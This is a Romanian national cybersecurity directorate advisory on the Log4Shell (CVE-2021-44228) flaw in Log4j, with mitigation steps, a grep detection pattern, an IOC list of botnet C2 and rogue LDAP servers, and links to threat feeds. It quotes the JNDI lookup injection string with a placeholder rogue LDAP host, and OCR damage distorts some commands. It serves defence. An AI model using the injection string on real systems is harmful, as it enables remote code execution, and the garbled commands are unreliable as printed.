DIRECTORATUL NATIONAL
DE SECURITATE CIBERNETICA

Vulnerabilitate critica de tip zero-day afecteaza Log4j, o biblioteca
Java utilizata la scara larga

UPDATE 13 Decembrie 2021, 17:00

Marea majoritate a activitatilor observate au fost reprezentate de scanari, dar au fost observate
deopotriva activitati de exploatare si post-exploatare. In functie de natura vulnerabilitatii, odata ce
atacatorul are acces deplin si control al unei aplicatii, acesta poate indeplini o multitudine de obiective.
Echipa de securitate Microsoft a observat activitati precum instalarea de software dedicat minarii de
criptomonede, Cobalt Strike - pentru a permite furtul de credentiale - dar si activitati de miscare laterala
si extragerea datelor din sistemele compromise.

Pentru ca exista o arie larga de exploatare a retelei prin aceasta vulnerabilitate si a faptului ca aplicarea
holistica a masurilor de atenuare va necesita timp, este incurajata cautarea semnelor de post-exploatare.
Bazarea exclusiv pe masuri de prevenire nu este suficienta.

Surse pentru monitorizarea indicatorilor de compromitere (10Cs)

e GreyNoise (1)

e Github Malware Ninja

e Tweetfeed.live by @0xDanielLopez
e Azure Sentinel

e URLhaus

e Malware Bazaar

e ThreatFox

e Cronup
e RedDrip7

e AbuselPDB - Google/Bing Dorks site:abuseipdb.com “log4j", site:abuseipdb.com "log4shell”
e CrowdSec

e Andrew Grealy, CTCI

e Bad Packets

e NCSC-NL

e Costin Raiu, Kaspersky

e SANS Internet Storm Center

Bucuresti, 13 Decembrie 2021, 11:00

O vulnerabilitate critica (0-day) intr-o biblioteca populara Java, numita ,,Log4j”, poate fi exploatata liber
de atacatori. La momentul divulgarii publice a informatiei, nu era disponibil niciun patch de securitate
pentru a o remedia, dar intre timp au aparut o serie de masuri de atenuare.

Dezvoltata si intretinuta de Apache, biblioteca este adoptata pe scara larga si utilizata in multe produse
software comerciale si open-source ca un framework de inregistrare a informatiilor pentru Java.

Descriere

Severitatea vulnerabilitatii (CVE-2021-44228) este una ridicata, deoarece aceasta poate fi exploatata de
la distanta de un atacator neautentificat prin executarea codului (remote code execution - RCE). Mai mult,
CVE-2021-44228 are un scor de 10 (din 10) in sistemul comun de notare a vulnerabilitatii (CVSS).

Problema de securitate provine din modul in care mesajele jurnal sunt gestionate de procesorul log4j. In
cazul in care un atacator trimite un mesaj special conceput (care contine un sir de caractere cum ar fi $-
jndi:ldap://rogueldapserver.com/a}), acest lucru poate duce la incarcarea unei clase de coduri externe
sau a cautarii mesajelor si la executarea codului respectiv, ceea ce duce la o situatie cunoscuta sub numele
de executie de cod de la distanta.
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https://gist.github.com/gnremy/c546c7911d5f876f263309d7161a7217
https://github.com/Malwar3Ninja/Exploitation-of-Log4j2-CVE-2021-44228/blob/main/Threatview.io-log4j2-IOC-list
https://twitter.com/0xdaniellopez/status/1470029308152487940?s=21
https://raw.githubusercontent.com/Azure/Azure-Sentinel/master/Sample%20Data/Feeds/Log4j_IOC_List.csv
https://urlhaus.abuse.ch/browse/tag/log4j/
https://bazaar.abuse.ch/browse/tag/log4j/
https://threatfox.abuse.ch/browse/tag/log4j/
https://github.com/CronUp/Malware-IOCs/blob/main/2021-12-11_Log4Shell_Botnets
https://github.com/RedDrip7/Log4Shell_CVE-2021-44228_related_attacks_IOCs
https://gist.github.com/blotus/f87ed46718bfdc634c9081110d243166
https://docs.google.com/spreadsheets/d/e/2PACX-1vT1hFu_VlZazvc_xsNvXK2GJbPBCDvhgjfCTbNHJoP6ySFu05sIN09neV73tr-oYm8lo42qI_Y0whNB/pubhtml
https://twitter.com/bad_packets/status/1469225135504650240
https://github.com/NCSC-NL/log4shell/tree/main/iocs
https://twitter.com/craiu/status/1470341085734051840?s=21
https://isc.sans.edu/diary/Log4Shell+exploited+to+implant+coin+miners/28124
https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-44228

Impact

Cu toate ca vulnerabilitatea are un grad de complexitate ridicat, exploatarea sa cu succes depinde de mai
multe conditii, cum ar fi utilizarea JVM, configuratia reala, etc. Versiunile log4j intre 2.0 si 2.14.1 sunt
afectate.

Deoarece multi furnizori terti se bazeaza pe Log4j pentru produsele lor, s-a lucrat intens pentru lansarea
unor patch-uri dedicate acestora. in ultimele 48 de ore, multi furnizori au publicat astfel de patch-uri de
securitate.

Remediere

Recomandam verificarea urgenta a folosirii Log4J in software-ul utilizat si aplicarea patch-urilor
corespunzatoare cat mai curand posibil. Tn cazul in care nu se pot aplica patch uri, este indicata luarea
oricarei masuri de atenuare, pentru a evita alte daune.

e Obtineti o imagine de ansamblu a sistemelor si a software-ului care utilizeaza log4j in mediul dvs.
(acest lucru poate fi o sarcina consumatoare de timp, deci ar fi bine sa incepeti urgent).

e Aplicati imediat patch-urile de securitate corespunzatoare pentru software-ul/dispozitivele care
folosesc internetul

e Aplicati patch-urile de securitate corespunzatoare deopotriva pentru software-ul/dispozitivele
interne cat mai curand posibil

e 1n cazul in care aplicarea patch-urilor nu este posibild din varii motive, recomandam insistent
izolarea sistemului de accesul la internet si/sau aplicarea urmatoarelor masuri de atenuare:
o Pentru versiunea >=2.10: setati log4j2.formatMsgNoLookups la true
o Pentru versiunile de la 2.0 la 2.10.0: eliminati clasa LDAP din log4j complet prin emiterea

urmatoarei comenzi: Zip -q -d log4j-core-*.jar
org/apache/log4j/core/lookup/JndiLookup.class

o Pentru anumite versiuni JUM, este posibil sa setati
com.sun.jndi.rmi. obJect trustURLCodebase si

com.sun.jndi.cosnaming.object.trustURLCodebase pentru a atenua vulnerabilitatea. Unele
versiuni JVM au deja acest lucru ca setare implicita
o Puteti verifica incercarile de exploatare - indiferent daca au avut succes sau nu - in jurnalele
serverului dvs. web, utilizand urmatoarea comanda Linux/Unix: sudo egrep -i -r’\$\ &
jndi:(ldap[s]?rmi...dns):/[ *\n]+"/var/log/
e Verificati jurnalele perimetrului retelei pentru prezenta listei indicatorilor de compromis (I0C)
mentionata mai jos:

nazi.uy # Mirai botnet C2

log.exposedbotnets.ru # Tsunami botnet C2
194.59.165.21:8080 # Tsunami botnet C2
195.133.40.15:25565 # Mirai botnet C2
185.154.53.140:80 # Kinsing botnet C2
138.197.206.223:80 # Kinsing payload delivery server
18.228.7.109:80 # Kinsing payload delivery server
82.118.18.201:80 # Kinsing payload delivery server
92.242.40.21:80 # Kinsing payload delivery server
185.191.32.198:80 # Kinsing payload delivery server
80.71.158.12:80 # Kinsing payload delivery server
185.191.32.198:80 # Kinsing payload delivery server
45.137.155.55:80 # Kinsing payload delivery server
185.191.32.198:80 # Kinsing payload delivery server
45.137.155.55:80 # Kinsing payload delivery server
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62.210.130.250:80 # Mirai payload delivery server
http://210.141.105.67/wp-content/themes/twentythirteen/m8 # Kinsing payload URL
http://159.89.182.117/wp-content/themes/twentyseventeen/ldm # Kinsing payload URL
45.130.229.168:1389 # Rogue LDAP server

82.118.18.201:1534 # Rogue LDAP server

45.130.229.168:1389 # Rogue LDAP server

185.250.148.157:1389 # Rogue LDAP server

92.242.40.21:5557 # Rogue LDAP server

205.185.115.217:47324 # Rogue LDAP server

163.172.157.143:1389 # Rogue LDAP server

45.155.205.233:12344 # Rogue LDAP server

o Daca utilizati un IDS bazat pe Snort sau Suricata (ori compatibil), utilizati reguli pentru a detecta
incercarile de exploatare.

e Daca aveti sisteme vulnerabile, verificati-le foarte atent pentru orice semn de exploatare,
deoarece scanarea este foarte intensa si sistemele vulnerabile pot fi exploatate rapid.

o Daca utilizati un WAF, implementati regulile specifice log4j. Acestea exista pentru multe solutii
comerciale, cum ar fi Cloud Armoré, Cloudflare WAF7, Signal Sciences WAFS8.

e Recomandam  actualizarea  bibliotecilor  log4j la ultima  versiune  disponibila:
https://logging.apache.org/log4j/2.x/changes-report.html#a2.15.0

Surse:
https://www.govcert.ch/blog/zero-day-exploit-targeting-popular-java-library-log4j/#fn:1
https://github.com/curated-intel/Log4Shell-10Cs

https://www.microsoft.com/security/blog/2021/12/11/guidance-for-preventing-detecting-and-hunting-
for-cve-2021-44228-log4j-2-exploitation/
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